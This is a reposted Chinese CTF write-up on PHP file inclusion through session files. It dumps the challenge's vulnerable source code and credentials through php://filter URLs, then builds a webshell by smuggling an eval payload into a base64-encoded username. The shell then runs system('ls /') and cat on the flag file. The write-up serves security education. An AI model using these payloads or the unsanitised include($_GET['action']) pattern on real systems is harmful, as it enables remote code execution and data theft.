CTF PHP文件包含--session


PHP文件包含 Session

首先了解一下PHP文件包含漏洞----包含session

利用條件:session文件路徑已知,且其中內容部分可控。

姿勢:

php的session文件的保存路徑可以在phpinfo的session.save_path看到。

常見的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

session 的文件名格式為 sess_[phpsessid]。而 phpsessid 在發送的請求的 cookie 字段中可以看到。

要包含並利用的話,需要能控制部分sesssion文件的內容。暫時沒有通用的辦法。有些時候,可以先包含進session文件,觀察里面的內容,然后根據里面的字段來發現可控的變量,從而利用變量來寫入payload,並之后再次包含從而執行php代碼。

 

 

題目:

http://54.222.188.152:22589/

 

解題思路:

php偽協議讀取源碼

點擊login,發現鏈接變為:

http://54.222.188.152:22589/index.php
?action=login.php

 

首先讀取 login.php 的源碼

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=login.php

得到login.php源碼:

<?php
    require_once('config.php');
    session_start();
    if($_SESSION['username']) {
        header('Location: index.php');
        exit;
    }
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = md5($_POST['password']);
        $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
        if ($mysqli->connect_errno) {
            die("could not connect to the database:\n" . $mysqli->connect_error);
        }
        $sql = "select password from user where username=?";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("s", $username);
        $stmt->bind_result($res_password);
        $stmt->execute();
        $stmt->fetch();
        if ($res_password == $password) {
            $_SESSION['username'] = base64_encode($username);
            header("location:index.php");
        } else {
            die("Invalid user name or password");
        }
        $stmt->close();
        $mysqli->close();
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <h3>Login</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">
            <button type="submit" class="btn btn-primary">LOGIN</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

 

讀取 register.php 的源碼

訪問:

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=register.php

得到源碼:

<?php
if ($_POST['username'] && $_POST['password']) {
    require_once('config.php');
    $username = $_POST['username'];
    $password = md5($_POST['password']);
    $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
    if ($mysqli->connect_errno) {
        die("could not connect to the database:\n" . $mysqli->connect_error);
    }
    $mysqli->set_charset("utf8");
    $sql = "select * from user where username=?";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("s", $username);
    $stmt->bind_result($res_id, $res_username, $res_password);
    $stmt->execute();
    $stmt->store_result();
    $count = $stmt->num_rows();
    if($count) {
        die('User name Already Exists');
    } else {
        $sql = "insert into user(username, password) values(?,?)";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        echo 'Register OK!<a href="index.php">Please Login</a>';
    }
    $stmt->close();
    $mysqli->close();
} else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <h3>Register</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">
            <button type="submit" class="btn btn-primary">REGISTER</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

 

讀取 config.php 的源碼

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=config.php

得到源碼:

<?php
$dbhost = 'localhost';
$dbuser = 'web';
$dbpass = 'webpass123';
$dbname = 'web';
?>

 

讀取 index.php 的源碼

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=index.php

源碼:

<?php
error_reporting(0);
session_start();
if (isset($_GET['action'])) {
    include $_GET['action'];
    exit();
} else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Login</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="css/bootstrap.css" rel="stylesheet" media="screen">
    <link href="css/main.css" rel="stylesheet" media="screen">
</head>
<body>
<div class="container">
    <div class="form-signin">
        <?php if (isset($_SESSION['username'])) { ?>
            <?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div>
<a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?>
            <?php echo "<div class=\"alert alert-warning\">Please Login.</div>
<a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a>
<a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>";
        } ?>
    </div>
</div>
</body>
</html>
<?php
}
?>

 

解題分析:

拿到了源碼,首先進行簡單的審計一下。

SQL注入?:

有登陸頁面,不知道會不會有注入,簡單看一下。

往往注冊與登陸操作中會有與數據庫交互的地方,這也是sql注入的常見引發點。

 

看一下register.php,這里僅截取部分代碼:

# register.php
$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();

 

再看一下login.php:

# login.php
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();

 

這里都使用了PHP的PDO處理,因此這里存在sql注入的可能性很小。

 

 

session

接着再看看,有哪些參數是可控的。

在login.php中:

# 第3行
session_start();
if($_SESSION['username']) {
    header('Location: index.php');
    exit;
}
# 第8行
if($_POST['username'] && $_POST['password']) {
    $username = $_POST['username'];
# 第20行
    $stmt->bind_result($res_password);
# 第24行
    if ($res_password == $password) {
        $_SESSION['username'] = base64_encode($username);
        header("location:index.php");

 

這里使用了session來保存用戶會話,php手冊中是這樣描述的:

  1. PHP 會將會話中的數據設置到 $_SESSION 變量中。
  2. 當 PHP 停止的時候,它會自動讀取 $_SESSION 中的內容,並將其進行序列化,然后發送給會話保存管理器來進行保存。
  3. 對於文件會話保存管理器,會將會話數據保存到配置項 session.save_path 所指定的位置。

考慮到變量$username是我們可控的,並且被設置到了$_SESSION中,因此我們輸入的數據未經過濾的就被寫入到了對應的sessioin文件中。結合前面的php文件包含,可以推測這里可以包含session文件。

 

要包含session文件,需要知道文件的路徑。先注冊一個用戶,比如chybeta。等登陸成功后。記錄下cookie中的PHPSESSID的值,這里為udu8pr09fjvabtoip8icgurt85

訪問:

http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85

這個/var/lib/php5/的session文件路徑是測試出來的,常見的也就是上面所述的幾種。

 

base64_encode

能包含,並且控制session文件,但要寫入可用的payload,還需要繞過:

$_SESSION['username'] = base64_encode($username);

 

如前面所示,輸入的用戶名會被base64加密。如果直接用php偽協議來解密整個session文件,由於序列化的前綴,勢必導致亂碼。

考慮一下base64的編碼過程。比如編碼abc。

未編碼: abc
轉成ascii碼: 97 98 99
轉成對應二進制(三組,每組8位): 01100001 01100010 01100011
重分組(四組,每組6位): 011000 010110 001001 100011
每組高位補零,變為每組8位:00011000 00010110 00001001 00100011
每組對應轉為十進制: 24 22 9 35
查表得: Y W J j

 

考慮一下session的前綴:username|s:12:",中間的數字12表示后面base64串的長度。當base64串的長度小於100時,前綴的長度固定為15個字符,當base64串的長度大於100小於1000時,前綴的長度固定為16個字符。

由於16個字符,恰好滿足一下條件:

16個字符 => 16 * 6 = 96 位 => 96 mod 8 = 0

也就是說,當對session文件進行base64解密時,前16個字符固然被解密為亂碼,但不會再影響從第17個字符后的部分也就是base64加密后的username。

 

Getflag

注冊一個賬號,比如:

chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>

其base64加密后的長度為128,大於100。

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
&atebyhc=phpinfo();

 


成功getshell。

訪問:

http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('ls /');

訪問:

http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');

 

 

小結

考了幾個知識點:

  1. php文件包含:偽協議利用
  2. php文件包含:包含session文件
  3. php-session知識及序列化格式
  4. base64的基本原理

 

原文鏈接(https://chybeta.github.io/2017/11/09/%E4%B8%80%E9%81%93CTF%E9%A2%98%EF%BC%9APHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/)

任重而道遠!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM